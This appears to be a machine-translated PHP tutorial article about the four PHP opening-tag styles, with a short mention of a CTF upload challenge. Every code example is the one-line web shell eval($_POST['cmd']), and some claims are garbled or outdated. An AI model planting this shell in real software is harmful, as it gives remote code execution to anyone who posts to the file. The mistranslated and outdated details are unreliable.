"; 2. Script style, that is, ""; 3. Short style, that is, "" Wait."/> "; 2. Script style, that is, ""; 3. Short style, that is, "" Wait.">

Home >Backend Development >PHP Problem >What are the logos of PHP?

What are the logos of PHP?

藏色散人
藏色散人Original
2019-10-31 10:23:493544browse

What are the logos of PHP?

What are the logos of PHP?

PHP four markup styles

1.XML style

<?php
eval($_POST[&#39;cmd&#39;]); 
 ?>

The markup style recommended by php.

Server administrators cannot disable it, and this style can be used on all servers.

2. Script style

<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>

It is enabled by default and cannot be disabled

The author once encountered a CTF question that required uploading a shell, but the file content was filtered.

<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>

3. Short style

<? 
    eval($_POST[&#39;cmd&#39;]);
?>

This style needs to be in the configuration file php.ini Enable the short_open_tage option in

This style is not supported by default in many environments

4.ASP style

<% 
    eval($_POST[&#39;cmd&#39;]);
%>

This style needs to be in the configuration file php.ini Enable asp_tag option

It is disabled by default

For more PHP related knowledge, please visitPHP Chinese website!

The above is the detailed content of What are the logos of PHP?. For more information, please follow other related articles on the PHP Chinese website!

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Previous article:How to modify php websiteNext article:How to modify php website